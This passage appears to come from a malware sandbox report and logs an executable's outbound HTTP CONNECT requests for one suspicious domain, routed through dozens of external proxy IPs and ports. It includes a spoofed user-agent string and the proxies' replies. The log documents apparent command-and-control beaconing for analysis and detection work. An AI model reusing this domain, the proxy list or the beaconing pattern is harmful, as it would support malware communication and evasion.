1134	192.168.2.9	53808	43.153.177.44	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.260226965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1135	192.168.2.9	53809	43.153.177.44	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.262368917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1136	192.168.2.9	53811	43.153.177.44	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.263766050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1137	192.168.2.9	53694	3.9.71.167	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.270492077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.562725067 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:07 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1138	192.168.2.9	53716	199.188.93.163	9000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.276983976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1139	192.168.2.9	53646	78.30.128.10	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.277637959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.606076956 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1140	192.168.2.9	53731	104.16.72.45	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.283909082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.438128948 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1141	192.168.2.9	53617	218.91.158.230	7302	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.288630962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1142	192.168.2.9	53737	104.20.198.49	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.289571047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.444258928 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1143	192.168.2.9	51793	79.7.101.98	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.289808989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1144	192.168.2.9	53875	43.153.58.204	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.296844959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1145	192.168.2.9	53879	43.153.58.204	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.298607111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1146	192.168.2.9	53693	52.67.10.183	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.299113989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.623507977 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:07 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1147	192.168.2.9	53881	43.153.58.204	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.300040007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1148	192.168.2.9	53885	43.153.58.204	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.301810980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1149	192.168.2.9	53688	193.239.58.92	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.302820921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1150	192.168.2.9	53710	103.166.141.74	20074	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.316032887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1151	192.168.2.9	52136	162.214.225.223	54917	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.318743944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.325459003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.326128006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.325409889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1152	192.168.2.9	53692	95.66.138.21	8880	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.319745064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1153	192.168.2.9	53713	37.187.77.58	3139	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.373981953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.183320999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1154	192.168.2.9	53729	38.162.14.184	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.385521889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.808209896 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1155	192.168.2.9	53155	129.213.150.205	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.390100002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1156	192.168.2.9	53711	213.57.128.161	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.390919924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.325324059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.435007095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.825437069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.325529099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.825359106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:25.325297117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:34.325042963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:52.137568951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1157	192.168.2.9	53740	147.124.212.31	16844	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.395214081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.934633017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.638396025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.841289997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.141542912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.434755087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.825402021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.434688091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:30.637579918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1158	192.168.2.9	53714	85.239.121.168	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.396898985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1159	192.168.2.9	52183	88.202.230.103	17045	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.397471905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.403501034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.493364096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1160	192.168.2.9	53786	185.238.228.67	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.404659986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.879503965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.036159039 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1161	192.168.2.9	53785	104.19.235.10	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
